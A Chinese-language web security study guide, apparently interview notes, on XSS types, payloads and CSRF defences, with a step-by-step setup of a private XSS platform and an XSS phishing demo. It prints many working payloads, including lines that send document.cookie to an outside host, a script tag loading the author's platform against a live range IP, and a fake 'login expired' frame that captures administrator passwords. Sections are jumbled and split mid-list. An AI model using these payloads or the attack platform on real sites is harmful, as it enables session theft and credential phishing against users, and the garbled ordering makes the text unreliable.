恶意攻击者往web页面里插入恶意script代码,当用户浏览该页面时,代码就会被执行 2 、XSS原理 在HTML中常用到字符实体,对常用到的字符实体没有进行转译,导致完整的标签出现,在可输入的文本框等某些区域内输入特定的某些标 签导致代码被恶意篡改。 3 、实现过程
( 1 )攻击者将恶意代码插入到服务器 ( 2 )其他用户无防备的情况下访问服务器 ( 3 )服务器对含有恶意代码的网页响应,并发送到了客户端。 ( 4 )用户的客户端中执行了恶意代码 4 、可能存在的地方 留言板,聊天室,搜索等
5 、危害#
( 1 )网站钓鱼,盗取各类用户的账号#
( 2 )窃取用户Cookie,获取用户隐私,或者利用用户身份进一步执行操作。 ( 3 )劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等 ( 4 )强制弹出广告页面,刷流量等。 ( 5 )进行恶意操作,例如任意篡改页面信息,删除文章等,传播跨站脚本蠕虫,网页挂马等 ( 6 )进行基于大量的客户端攻击,如DDOS攻击。 ( 7 )结合其它漏洞,如CSRF漏洞。 ( 8 )进一步渗透网站
XSS的三种类型#
1 、反射型#
反射型XSS又被称为非存储型XSS,攻击者通常会通过URL参数传入恶意语句从而实现攻击,由于我们的payload未经过一个存储的过程直接 传到了用户浏览的页面上,所以也称之为非存储型XSS。
如果用户的输入能在网页上显示,就很可能存在XSS如果在URL中提交的参数值,在页面中显示,很有可能就存在XSS如果在表单中提交的参数值,在页面中显示,很有可能就存在XSS如果HTTP自定义头中提交的参数,在页面中显示,很有可能就存在XSS 可以通过burpsuite抓包,修改HTTP头插入XSS攻击者在URL中插入恶意语句,并将带有恶意语句的URL发送给受害者,受害者想要打开这个网址便向服务器发送请求,服务器接到请求后#
便进行响应,从而使受害者被攻击。#
2 、存储型#
存储型XSS, 也叫持久化XSS,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这#
些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。 验证:
要成为存储型XSS攻击点,需满足以下两点:
攻击者在页面中插入XSS代码,服务器将恶意代码传至数据库,当受害 者浏览页面时服务器将代码取出从而实现攻击。#
攻击者构造XSS并将其存入数据库中,被攻击者在不知情的情况下访问了带有恶意脚本的页面,服务器将带有恶意脚本的页面返回给用户,#
浏览器解析页面从而实现攻击,并且数据返回至攻击者自己的恶意服务器中。#
3 、DOM型#
简单的说,通过修改页面的DOM节点形成的XSS,就是DOM based XSS。 这里就要提及JS的极为重要的一个功能了,就是可以修改DOM节 点。 那么如果我们将反射型XSS的Payload用于修改DOM节点,那么可以修 改页面任意元素,多用于钓鱼。 文档对象模型(Document Object Model),即大名鼎鼎的DOM。 DOM可以被认为是一种通过将页面元素以对象的树形方式表现,以便由
有数据提交点以及回显点
其中处理过程无危险字符转义处理或可绕过转义处理Javascript组织处理的实现方法。
触发条件:#
DOM式XSS触发方式与反射式XSS漏洞相同,反射式XSS的payload输出在HTML页面内,而DOM式 payload并不在html页面内输出,但都需 要用户主动点击才能触发,所以需要攻击者主动将包含 payload的URL发送给用户点击,用户在打开页面后运行恶意代码,黑客完成攻击。
构造xss脚本#
常用HTML标签#
< iframe > iframe 元素会创建包含另一个文档的内联框架。
< textarea > textarea 标签定义多行的文本输入控件
< img > img 元素向网页中嵌入图像。
< script > script 标签用于定义客户端脚本,比如javascript. script 元素既可以包含脚本语句,也可以通过 src 属性指向外部脚本文件。 必须的 type 属性规定脚本的 MIME 类型 javascript 的常见应用是图像操作、表单验证以及动态内容更新。 常用javascript方法 alert alert() 方法用于显示带有一条指定消息和一个确认按钮的警告框。
window.location 用于获得当前页面的地址url,并把浏览器重定向到新的页面。
location.href 返回当前显示的文档的完整 URL
onload 一张页面或一幅图像完成加载
onsubmit 确认按钮被点击
onerror 在加载文档或图像时发生错误 构造XSS脚本
弹窗警告
此脚本实现弹窗框提示,一般作为漏洞测试或者演示使用,类似SQL注入测试中的单引号,一旦脚本能执行,也就意味着后端服务器没有对特殊字符做
过滤 <> \ ' ,这样就可以证明,这个页面存在xss漏洞。
\<script\>alert('xss')</script>
\<script\>alert(document.cookie)</script>页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></script>页面重定向
\<script\>windows.location="http://www.baidu.com"</script>
\<script\>location.href="http://www.baidu.com"</script>弹窗警告并重定向
\<script\>alert("hello world!");location.href="http:/www.baidu.com"</script>访问恶意代码
<script src="http://www.xxx.com/xx.js"></script>
可结合 beef 收集用户cookie巧用图片标签
<img src="x" onerror=alert('xss')>
<img src="javascript:alert('xss')">
<img src="http://BeFF_IP:3000/book.js">绕开过滤的脚本
大小写 \<ScRIpt\>alert('xss')</ScRiPT>
字符编码 采用URL、Base64 等编码
javascript:alert(123)收集用户cookie自动化XSS——BeEF#
BeEF简介 Browser Exploitation Framework (BeEF)
BeEF 是目前最强大的浏览器开源渗透测试框架,通过xss漏洞配合JS脚本和Metasploit进行渗透,
BeEF 是基于Ruby语言编写的,并且支持图形化操作,操作简单。
点击查看详解
信息收集
网络发现
主机信息
cookie获取
会话劫持
键盘记录
插件信息
List item持久化控制
确认弹框
小框口
中间人社会工程
点击劫持
弹窗告警
虚假页面
钓鱼页面渗透攻击
内网渗透
MSF
CSRF攻击
DDOS攻击七、说一下 XSS 三种类型的原理及绕过 xss 怎么利用?#
XSS的分类#
通常,我们把 XSS 分为三个类型,即 存储型 , 反射型 与 DOM型 。不同的类型原理各有差异,而且注入的点也不同。#
存储型#
存储型的 XSS,最大的特点是可持久化,因为在过滤条件差的情况下,存储型的 XSS 的恶意代码会直接被保存在服务器端的数据库中。而这#
个恶意代码被服务器读出输出到用户端的Web页面时,恶意代码会执行,从而达到攻击的目的。可以说存储型 XSS 是影响范围最大的 XSS。 通常出现在评论、文章发表等可由用户输入,并随着服务器读出的地方,容易造成蠕虫,盗窃cookie等严重影响。
攻击流程大概是这样的:
反射型#
非持久化,且需要使用钓鱼等手段欺骗用户点击恶意链接才能触发恶意代码。一般反射型 XSS 会出现在搜索页面,且大多数是用来获取用户#
的 cookie 信息的。虽然影响范围最大的是存储型的 XSS,但是现在针对存储型 XSS 的防御非常完备,所以在利用上,反射型的利用率还是 比存储型高些。
攻击流程大概是这样的:
打开新窗口并且采用本地cookie访问目标页,
\<script\>window.open("http://www.baidu.com/cookie.php?cookie="+document.cookie")</script>
\<script\>document.location="http://www.baidu.com"/cookie.php?cookie="+document.cookie")</script>
<img src="http://www.baidu.com"/cookie.php?cookie="+document.cookie></img>
<iframe src="http://www.baidu.com"/cookie.php?cookie="+document.cookie></iframe>
\<script\>new Image().src="http://www.baidu.com"/cookie.php?cookie="+document.cookie;img.width=0;img.height=0;
</script>攻击者在正常服务器中注入XSS代码,且被服务器储存在了数据库中
用户在网站登录状态下,访问了恶意服务器,且浏览了存在恶意脚本的页面
正常服务器将页面信息与XSS脚本一同返回
客户端解析了页面信息与XSS脚本代码,这时脚本代码会被执行,甚至会向攻击者的恶意服务器主动发起请求
此时,攻击者就可以从自己的恶意服务器中读取用户数据DOM型#
DOM 型的 XSS 注入与反射型原理类似,只不过 DOM 型的 XSS 注入不需要经过后端代码处理,而是在前端 JavaScript 调用 DOM 元素时可 能产生的漏洞,可能触发 DOM 型 XSS 的 JavaScript 代码:
综上存储型的 XSS 危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。#
而反射型和 DOM 型的 XSS 则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程#
学或者利用在其他网页挂马的方式。#
八、测试 xss 的时候用的哪些事件函数?#
还在为xss漏洞找不到而发愁?看看这篇最全xss攻击函数汇总再说在XSS攻击中可使用以下事件
FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)
onAbort() (当用户中止加载图片时)
onActivate() (当对象激活时)
onAfterPrint() (用户打印或进行打印预览后触发)
onAfterUpdate() (从数据源对象更新数据后由数据对象触发)
onBeforeActivate() (在对象设置为激活元素前触发)
onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行execCommand(“Copy”)函数触发)
onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)
onBeforeDeactivate() (在当前对象的激活元素变化前触发)
onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的对象被选中时触发)
onBeforePaste() (在用户被诱导进行粘贴前或使用execCommand(“Paste”)函数触发)
onBeforePrint() (用户需要被诱导进行打印或攻击者可以使用print()或execCommand(“Print”)函数).
onBeforeUnload() (用户需要被诱导关闭浏览器-除非从父窗口执行,否则攻击者不能关闭当前窗口)
onBeforeUpdate() (从数据源对象更新数据前由数据对象触发)
onBegin() (当元素周期开始时由onbegin 事件立即触发)
onBlur() (另一个窗口弹出当前窗口失去焦点时触发)
onBounce() (当marquee对象的behavior属性设置为“alternate”且字幕的滚动内容到达窗口一边时触发)
onCellChange() (当数据提供者的数据变化时触发)
onChange() (select,text, 或TEXTAREA字段失去焦点并且值发生变化时触发)
onClick() (表单中点击触发)
onContextMenu() (用户需要在攻击区域点击右键)
onControlSelect() (当用户在一个对象上创建控件选中区时触发)
onCopy() (用户需要复制一些东西或使用execCommand(“Copy”)命令时触发)
onCut() (用户需要剪切一些东西或使用execCommand(“Cut”)命令时触发)
onDataAvailable() (用户需要修改元素中的数据,或者由攻击者提供的类似功能)
onDataSetChanged() (当数据源对象变更导致数据集发生变更时触发)
onDataSetComplete() (数据源对象中所有数据可用时触发)
onDblClick() (用户双击一个表单元素或链接)
onDeactivate() (在激活元素从当前对象转换到父文档中的另一个对象时触发)
onDrag() (在元素正在拖动时触发)
攻击者发送带有XSS恶意的脚本链接给客户(该链接是正常服务器存在注入点的链接,且带着我们注入的内容)
客户点击了恶意链接并访问了正常服务器
服务器将XSS与页面信息返回客户端
客户端解析后请求恶意服务器
攻击者读取用户信息document.referer 返回跳转或打开到当前页面的页面的URI
window.name 可设置或返回存放窗口的名称的一个字符串
location 可以设置窗口跳转或者返回当前窗口的地址
innerHTML 内嵌HTML代码
documen.write 页面内写入字符xss代码, 通常是使用script标签引入远程的js代码,当有后台人员审核提交数据时候,点击了提交的数据,触发获取到有价值信息 。
古人云:“工欲善其事,必先利其器”。在开始搭建之前,我们需要先做好必要的准备。读者目前手头如果没有XSS平台源码,也不知道该从哪里下载,#
可以从网上自行搜索下载XSS平台源码,但是有一定的风险。我自己使用的XSS平台源码是从公众号上下载的,可以在微信上搜索该公众号,Ms08067安全实验室,然后回复: WEB安全攻防工具,即可得到源码。
31. onDragEnd() (当用户完成元素的拖动时触发)
32. onDragLeave() (用户在拖动元素离开放置目标时触发)33. onDragEnter() (用户将对象拖拽到合法拖曳目标)34. onDragOver() (用户将对象拖拽划过合法拖曳目标)
35. onDragDrop() (用户将一个对象(例如文件)拖拽到浏览器窗口)36. onDragStart() (当用户开始拖动元素时触发)
37. onDrop() (当拖动元素放置在目标区域时触发)38. onEnded() (在视频/音频(audio/video)播放结束时触发)39. onError() (在加载文档或图像时发生错误)
40. onErrorUpdate() (当从数据源对象更新相关数据遇到错误时在数据绑定对象上触发)41. onFilterChange() (当滤镜完成状态变更时触发)
42. onFinish() (当marquee完成滚动时攻击者可以执行攻击)43. onFocus() (当窗口获得焦点时攻击者可以执行攻击代码)
44. onFocusIn() (当元素将要被设置为焦点之前触发)45. onFocusOut() (攻击者可以在窗口失去焦点时触发攻击代码)46. onHashChange() (当锚部分发生变化时触发攻击代码)
47. onHelp() (攻击者可以在用户在当前窗体激活时按下F1触发攻击代码)48. onInput() (在 或\<span\> 元素的值发生改
变时触发)</span></p>十、有没有尝试过用 xss 平台?#
一、源码及运行环境准备#
(一)XSS平台源码从哪里下载?#
“xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的j通俗讲就是见到输入框就输入提前准备的#
盲打只是一种惯称的说法,就是不知道后台不知道有没有xss存在的情况下,不顾一切的输入xss代码在留言啊,feedback啊之类的地方,尽可能多的尝试xss的该实验室在国内较为出名,著有《WEB安全攻防-渗透测试实战指南》、《Python安全攻防》、《内网安全攻防》、《java代码审计:入门篇》等,我想他们还是比较靠谱的,所 以直接使用他们提供的源码了。
本文搭建的XSS平台是基于windows server 2012的云服务器,有公网ip。搭建的时候需要使用phpstudy2016,当然了,vc9_ 86 运行库也是必备的
注意:XSS平台由于需要和目标进行反向连接,因此必须有一个公网ip,才能让目标访问到你,所以如果没有公网Ip,那建议先去整一个,然后再来阅读本文。
首先安装好phpstudy,在WWW目录下新建一个文件夹,名为xsser。 大家注意了,这里文件夹就叫xsser,别乱改了,因为这个XSS平台源码以前默认是xsser.me这个网站使用的,有些默认设置是用到了xsser这个文件夹,为了避免未知的错误, 因此我们老老实实把文件夹的名字命名为xsser,这样可以避免将来不必要的麻烦。 然后将XSS平台的源码解压到该目录下,如图所示:
注意,在导入数据库之前,首先去新建一个空数据库,然后再把数据导进来。#
用管理员身份运行phpstudy (注意这点,一定要以管理员身份运行phpstudy,以免出现一些意想不到的情况),点击MYSQL管理器,点击MySql-Front,在左侧找到 localhost,右键单击,选择新建,点击数据库:
输入数据库名为:xssplatform
(二)操作系统和工具的准备#
二、平台搭建#
(一)新建网站目录#
(二)导入数据库#
这个数据库名字是配置文件的默认库名,最好就不要去修改了,否则配置文件也得跟着改,何必自找麻烦呢?#
然后发现新建了一个名为xssplatform的数据库。在该数据库名上右键单击,选择输入,选择SQL文件,然后将找到xsser文件夹下的xssplatform.sql,字符集选择UTF- 8 , 如图所示:
然后点击打开。这样数据就成功导入数据库中了。#
由于该数据库中默认设置的域名为xsser.me,如果不加以修改,那么生成的XSS攻击代码就无法发送到我们自己的网站了。 因此我们必须对JS代码进行修改。 单击SQL编辑器, 输入以下命令进行修改:
注意上面的域名是你自己的域名或者公网ip,这里是第一个容易踩坑的地方。假设网址是www.baidu.com,那么这里的命令就是:
假如你没有域名,只有公网ip,ip假设是101.0.0.0那么命令就是:
(三)修改数据库#
use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,'http://xsser.me','此处输入你的域名或公网ip/xsser');use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,'http://xsser.me','www.baidu.com/xsser');use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,'http://xsser.me','101.0.0.0/xsser');通过这两个例子,读者想必已经完全明白了这里的域名怎么设置了。#
设置完毕以后按F9运行这三条命令即可。注意这里的前两条命令是为了保险起见,因为按照mysql的语法规则,需要先进入一个库,才能对这个库的数据进行操作,因此我就加 了两条,第一条命令表示进入该数据库,第二条命令表示查询oc_module表的内容。
打开xsser文件夹下的config.php文件,需要修改的地方如图所示:
根据右侧的注释可以看出左侧代码具体的含义,数据库的账户密码就根据自己本机的账户密码来填就行了,我的是root,root。数据库的地址要么填localhost,要么填 127.0.0.1,都是一样的。第 22 行输入自己的网址,后面的/xsser注意别漏了。 比如你的公网ip是101.0.0.0,那么第 22 行URL的路径为:http://101.0.0.0/xsser 上面第 18 行那里是设置注册功能开关的,如果设置为normal,表示不需要邀请码就能注册,设置为invite的话,只能通过邀请注册,而如果完全关闭注册,则只要输入close即 可。这里我们刚开始搭建,先设置为normal。
接着打开xsser目录下的authtest.php文件,找到第 21 行,在location后面的url前面的部分改成http://localhost/xsser即可,最终效果如图所示即可:
这里需要涉及一个概念,就是.htaccess文件。 .htaccess全称是Hypertext Access(超文本入口),也被称为分布式配置文件,是Apache特有的的针对目录改变配置的方法。通过在一个特定的文档目录中放置一个包含一个 或多个指令的文件, 以作用于此目录及其所有子目录。该文件可以针对不同的目录去做不同的策略。 为了接收到来自目标网站的数据,我们需要配置一个.htaccess文件。 在xssser文件夹下新建一个1.txt文件,然后粘贴以下代码进去:
(四)修改配置文件#
1 、config.php
2 、authtest.php
3 、配置.htaccess伪静态文件
RewriteEngine On
RewriteRule ^([0-9a-zA-Z]{6})$ /xsser/index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /xsser/index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /xsser/index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /xsser/index.php?do=register&act=validate&key=$1 [L]
RewriteRule ^login$ /xsser/index.php?do=login [L]注意我们的index.php是在xsser文件夹下的,所以上面每一个index.php前面都有一个/xsser/,读者需要注意这点,假如你不是用xsser文件夹,那么这里也要相应修改。 现在只要把1.txt命名为.htaccess即可。直接重命名是不行的,windows禁止文件名为空,因此我们需要借助命令行来实现。命令行重命名的命令为ren,语法也很简单,就是:
现在可以去重命名了。在该文件夹的路径中,删掉路径,然后输入cmd:
这样即可打开该文件夹下的cmd窗口,然后输入(注意ren和1.txt后面各有一个空格):
ren 旧文件名 新文件名ren 1.txt .htaccess然后查看xsser文件夹,看到成功改名为.htaccess:
(五)phpstudy的设置#
在phpstudy的主界面中,点击其他选项菜单,点击站点域名管理,然后将网站的根目录设置为xsser文件夹所在的WWW目录。注意是WWW目录,而不是xsser。这样你在WWW 下建立其他文件夹,然后搭建网站,就不需要再去设置phpstudy了,而是用域名/文件夹名就能访问到了。 言规正传,设置好网站根目录以后,顺便把自己的域名也填进去,我这里就直接涂鸦了,不想让你们知道,啊哈哈哈!
其他的保持默认设置即可。设置完毕,点击新增,然后点击保存配置文件即可。#
为了保险起见,在其他选项菜单中,找到phpstudy设置,然后把上面的目录也修改为WWW目录,其余不变,如图所示:
现在已经完成了所有的搭建过程,现在咱们测试一下看看。由于咱们的目标是要能实现公网访问,且能接收数据,因此直接用域名来访问。#
打开浏览器,输入:你的域名/xsser 注意要在域名后面加个/xsser,别忘了。
注册一个账号,账号密码均为a123455。注册成功后会自动登陆,界面如下:
然后在左侧我的项目那里,创建一个项目:#
接着选择默认模块,勾选keepsession
三、XSS平台使用方法简介#
(一)功能测试#
然后点击下一步。#
看到页面中生成了很多XSS的payload。 复制一段XSS,比如下面这个,然后我们通过封神台的存储型XSS靶场来测试一下能否接收到外部的信息。
进入靶场,地址在:http://59.63.166.75:8082/ 有人代码审计出来:只要以c和m两个固定的GET传参方式访问该cms的一个不存在的页面,管理员后台的错误日志页面中就会把该访问内容写入错误日志当中。 因此我们在URL中输入:
然后在末尾加上上面生成的XSSpayload,所以完整的URL为:
</textarea>'"><script src=http://xx.xx.xx.xx/xsser/r1AsOY></script>59.63.166.75:8082/index.php?c=test&m=test59.63.166.75:8082/index.php?c=test&m=test </textarea>'"><script src=http://xx.xx.xx.xx/xsser/r1AsOY></script>为了保护我自己个人的隐私,我把ip地址换成了xx.xx.xx.xx。 在URL中访问后,页面会提示 404 ,然后按CTRL+U,查看网页源代码:
看到我们写入的XSS已经成为了网页源代码的一部分。然后查看XSS平台:#
接收到了来自靶场的很多信息,可见平台搭建成功。#
这里注意,我们可以将自己创建的账号设置为管理员,并关闭平台的注册功能,从而该XSS平台就变成只有我们自己能用的私人XSS平台了。那么该如何实现呢,分两步:#
第一步,先将a123456设置为管理员。打开数据库,点击SQL编辑器,输入:
前面的adminlevel就是代表是否是管理员,只要将相应用户前面的adminlevel的值设置为 1 ,即表示设置该用户为管理员。只要双击即可修改数据。当然通过命令也可以实现,我 个人比较喜欢用命令来操作数据库,命令如下:
(二)如何将XSS平台设置为私人XSS平台?#
use xssplatform;
select * from oc_user;use xssplatform;
select * from oc_user;
update oc_user set adminlevel=1 where userName='a123456'执行成功:#
接着打开xsser文件夹下的config.php文件,将第 18 行中的normal改成close即可。 这样XSS平台就只有我们自己能使用了。
本文主要介绍如何结合 xss平台 利用xss漏洞 然后,伪造一个钓鱼登陆页,然后,实现钓鱼,获取 用户和密码,之后传到我们的公网服务器中
首先我们需要一个存在xss漏洞的网站,不管是反射或存储,只要它有txtx ,然后呢你还得有一台公网服务器,当然在局域网中的话就可以考虑用自己的物理机开一个web服务 器。用来接收钓鱼页 post回来的用户和密码。然后呢 随便去个xss平台注册 ,我注册的是这个xss平台。
关于xss漏洞 就不细说了 网上资料也很多,反正记住xss不止打cookie,有xss漏洞 我们就可以插入js代码 ,既然能插入js代码,那么我们能干的事就很多,这篇文章利用的思路 是 ,用xss漏洞插入一段js代码,只不过这段代码我已经提前部署在xss平台里,这段js代码的功能就是 当xss代码被执行后,能弹出一个alert,提示你登陆过期,然后用一个 frame 覆盖整个页面,然后呢这个frame的src是我们公网上搭的一个钓鱼页 ,当然我们得事先把这个钓鱼页做好。然后一般的人就认为可能真的“登陆过期”了,其实页面还是在 之前那个xss页面,只不过呢 我们在当前页面生成一个frame 覆盖了整个页面。并且我们url是没有 跳转的,所以说,欺骗性是很强的。
好 废话不多说 ,这里我自己搭建了一个存在xss漏洞的页面,他们是论坛中存在xss漏洞 来看我疯狂操作。。 大佬莫笑。。。 首先 登陆上去
然后 我们发帖#
在帖子中插入我们的xss平台代码 ,关于xss平台里,我自己添加了一个模块
十一、说一下 xss 平台钓鱼原理?怎么会执行?#
js代码如下
setTimeout(function(){ alert(“登陆过期,请重新登陆!”); parent.document.writeln(”"); setTimeout(function(){ document.getElementsByTagName(“body”) [ 0 ].setAttribute(“style”,“margin:2px;”);},100); setTimeout(function(){ parent.document.getElementsByTagName(“body”)[ 0 ].setAttribute(“style”,“margin:0px;”);},100); },500); 这段代码功能就是当访问到xss代码被执行的页面时就会弹出对话框 提示"登陆过期,请重新登陆" 然后500ms后就生成一个frame 可以看见他height和width斗是100% 覆盖整个 页面,然后src这里填写你的公网地址中的钓鱼页面index.html 额关于钓鱼页我们等下在细说。 ok,那么我们插入了xss,在论坛里 我们可以看到我们发的帖子,
进入论坛 ,0.5秒后 基本上点进去就会弹出一个框#
可以看到我们的xss代码已被执行
然后假设这是一个后台,然后不知情的管理员就会点击确定。接着页面就会“出现”一个登陆界面,这个钓鱼页之前说过,是我们事先就做好的,仿照后台真实的登录页面做的。然#
后我们用另外一个web服务器来的php文件来接收数据 ,也就是我们的公网ip。
在管理员看来这个登陆界面是正确的界面,其实是我们的钓鱼页嘿嘿嘿。。。让我们来看看这个钓鱼页的代码 ,post方法 我用另外一个1.php页面来接收数据,因为我是用虚拟 机搭的实验环境,并且我没公网ip 所以我就局域网内,也就是我自己的物理机上开了一个web服务。 大佬莫笑txtx。。。。。
ok 那么在这个1.php中呢
这里 接收钓鱼页管理员输入的密码和账户,当管理员输入密码和帐号后我们的服务器下就会有一个文本。。。嘿嘿嘿 这里我把钓鱼页和php页放在同一个目录下了
然后生成一个log.txt 帐号和密码就在其中了
需要注意的是 ,在接收完数据后,也就是管理员输入完帐号密码后,页面就会跳转到它原来真正的后台地址 ,这下就正常了 ,所以管理员要输两次帐号密码,第一次是钓鱼页#
的然后在跳转到真正的页面,在输一次 ,在管理员眼中看来,可能认为会是网络卡顿的原因,就会再输一次,欺骗性很强,并且全程url是没跳转的,只是生成了一个frame来操 作。当然,在我们获取到密码后,得赶快把我们部署的xss平台代码下掉,不然人管理员再次登进去 点开论坛,又会被弹出来。。。。txtx
再一个关于钓鱼页呢,其实就是把真实页面整个扒下来 ctrl+a 大法,然后呢 需要注意的是,把那些css和js的路径改为绝对路径,能懂我什么意思吗?txtx。。因为我们的是钓鱼 页 相当于是引用别人的css文件,来使我们复制过来的钓鱼页和它真实的后台页面一样,所以得改成别人服务器的路径。然后自己在改成post方法 要注意的是钓鱼页中的name属 性,因为php接受页面中接受的参数名称得和钓鱼页中的一样。。好吧 思路差不多就这样。怎么利用就看各位了。。。。
XSS攻击的本质是向用户页面中注入恶意脚本,从而达到窃取用户敏感信息、劫持用户会话等恶意目的。攻击者通过各种方法来实现注入恶意脚本的目的。以下是一些常见的让#
XSS攻击执行JS的方法:#
XSS(Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者可以通过注入恶意脚本来窃取用户的敏感信息或者进行其他恶意行为。XSS漏洞经常出现在以下几个方面:
十二、xss 有什么方法可以让他执行 js?#
1. 直接注入:攻击者在输入框、评论框等可输入的区域中,直接注入包含恶意脚本的内容,这样用户访问页面时,就会执行这些恶意脚本。#
2. 伪协议:攻击者在注入的恶意脚本中使用伪协议,例如javascript:、data:等,使得浏览器将这些内容当做脚本来执行。
3. HTML标签:攻击者在注入的内容中使用HTML标签,例如、等,从而使得浏览器将这些标签当做脚本来解析和执行。
4. DOM操作:攻击者使用DOM操作,例如innerHTML等,将注入的内容插入到页面中的DOM节点中,从而实现注入恶意脚本的目的。 总之,攻击者通过各种方法来实现XSS
攻击,开发人员需要对Web应用程序的输入、输出、存储等方面进行全面的检查和防护,以避免XSS攻击的发生。同时,用户也需要保持警惕,不要轻易相信来路不明的链
接和内容,以免被XSS攻击所害。十三、xss 经常会出现在哪些地方?#
1. 用户输入:用户在网站中输入的信息,例如搜索关键字、评论、留言、个人资料等,如果没有经过正确的过滤和转义处理,就可能成为XSS攻击的入口。#
2. URL参数:URL参数中包含的数据,例如GET请求中的查询字符串或者POST请求中的表单数据,如果没有经过正确的过滤和转义处理,就可能被用于进行XSS攻击。#
3. Cookie:Cookie是Web应用程序中常见的用户会话管理机制,如果Cookie中包含敏感信息,例如用户ID、Session ID等,那么攻击者就可以使用XSS攻击来窃取这些信息。
4. HTTP头:HTTP头中的信息,例如Referer、User-Agent等,如果没有正确的过滤和转义,就可能被用于进行XSS攻击。
5. DOM操作:Web应用程序中常用的DOM操作,例如innerHTML、document.write等,如果使用不当,就可能导致XSS攻击。存储型 XSS(Cross Site Scripting)是一种常见的Web安全漏洞,攻击者可以通过植入恶意脚本,从而窃取用户的敏感信息或者进行其他恶意行为。存储型 XSS通常发生在Web 应用程序中,攻击者将恶意脚本存储在Web服务器上,并在用户请求页面时,将脚本传递给用户浏览器执行。存储型 XSS的发现可以通过以下几种方式:
CSRF(Cross-Site Request Forgery)是一种利用用户在Web应用程序中的身份验证信息来伪造用户请求的攻击方式。攻击者利用用户已经在Web应用程序中的登录状态,伪造 一个看似合法的请求,从而执行一些非法操作,例如转账、更改密码等。这种攻击方式的本质是Web应用程序未对请求来源进行合理的验证,从而导致攻击者能够伪造用户的请 求。
CSRF攻击的原理:1. 用户在Web应用程序中登录,获取到了一个session。2. 用户访问攻击者的恶意网站,网站中包含一个针对Web应用程序的恶意请求。3. 恶意请求利用用户 的session伪造了一个看似合法的请求,发送到Web应用程序。4. Web应用程序接收到请求后,未对请求来源进行合理的验证,误认为该请求是合法的,并执行了攻击者的恶意操 作。
防御CSRF攻击的方式:1. 在敏感操作中添加CSRF Token,用于验证请求来源的合法性。2. 禁止使用GET方法进行敏感操作,因为GET请求可以被缓存,容易被攻击者重新发送。
- 在HTTP头中添加Referer信息,用于验证请求来源的合法性。4. 对于敏感操作,要求用户进行二次身份验证,例如输入密码、短信验证码等。
CSRF修复方式:1. 对于敏感操作,采用POST请求,并在请求中添加CSRF Token。2. 对于通过GET方法提交的请求,可以在请求中添加CSRF Token,或者通过添加Referer信息 进行验证。 CSRF漏洞的修复主要是在请求中添加CSRF Token,用于验证请求来源的合法性。CSRF Token是一个随机生成的字符串,与用户会话绑定。当用户进行敏感操作时, Web应用程序会生成一个随机的CSRF Token,将其添加到请求中。当服务器收到请求时,会验证CSRF Token的合法性,如果验证失败,则拒绝该请求。 总之,CSRF攻击是一种 常见的Web攻击方式,攻击者可以利用用户在Web应用程序中的登录状态,伪造一个看似合法的请求,执行一些非法操作。为了防御CSRF攻击,开发人员需要在Web应用程序中 添加CSRF Token,验证请求来源的合法性。同时,用户也需要保持警惕,不要轻易相信来路不明的链接和内容,以免被恶意攻击所害。
CSRF漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个都网站,会默认你已经登录的状态。而在这个期间,攻击者发 送了构造好的CSRF脚本或包含CSRF脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号、ajax异步传输【通过JS去发送请求,然后获取信息】。与钓鱼网站不同, 钓鱼网站需要输入账号和密码,而CSRF只需要访问链接或者网页即可。
CSRF漏洞是一种利用用户在Web应用程序中的身份验证信息来伪造用户请求的攻击方式。攻击者通过欺骗用户访问一个恶意网站或点击恶意链接的方式,来伪造用户的请求,从 而执行某些恶意操作,例如在用户未经授权的情况下,修改用户的账户信息、发表文章、发表评论等。CSRF漏洞的本质是Web应用程序未对请求来源进行合理的验证,从而导致 攻击者能够伪造用户的请求。
利用CSRF漏洞的思路可以总结为以下几个步骤:
6. 第三方组件:一些Web应用程序使用第三方组件,例如富文本编辑器、表单验证插件等,如果这些组件没有经过正确的配置和使用,就可能导致XSS攻击。 总之,XSS漏洞
的出现与Web应用程序的输入、输出、存储等方面有关,开发人员需要对这些方面进行全面的检查和防护,以保护Web应用程序的安全性。十四、存储型 xss 怎么发现的?#
1. 手工测试:通过在输入框中输入特殊字符、HTML标签、JavaScript代码等,来判断是否存在XSS漏洞。如果应用程序没有对输入进行过滤或转义,那么就可能存在XSS漏
洞。
2. 自动化测试:使用一些自动化工具,例如OWASP ZAP、Burp Suite等,进行扫描和检测,以便快速发现存储型 XSS漏洞。
3. 安全审计:在进行Web应用程序安全审计时,可以对应用程序的代码进行分析,查找是否存在潜在的XSS漏洞。例如在后台管理页面中,输入框中的值是否被存储在数据库
中,如果是,那么就可能存在存储型 XSS漏洞。
4. 监控日志:在应用程序部署后,可以通过监控应用程序的日志,查找是否存在异常请求,例如请求中包含特殊字符、HTML标签等,从而发现存储型 XSS漏洞。 总之,发现
存储型 XSS漏洞需要对应用程序的输入、输出、存储等方面进行全面的检查和分析,同时也需要了解XSS攻击的常见方式和技术手段,以便更好地发现和修复漏洞。第九章 CSRF#
一、说一下 CSRF 原理与防御、应用、修复方式#
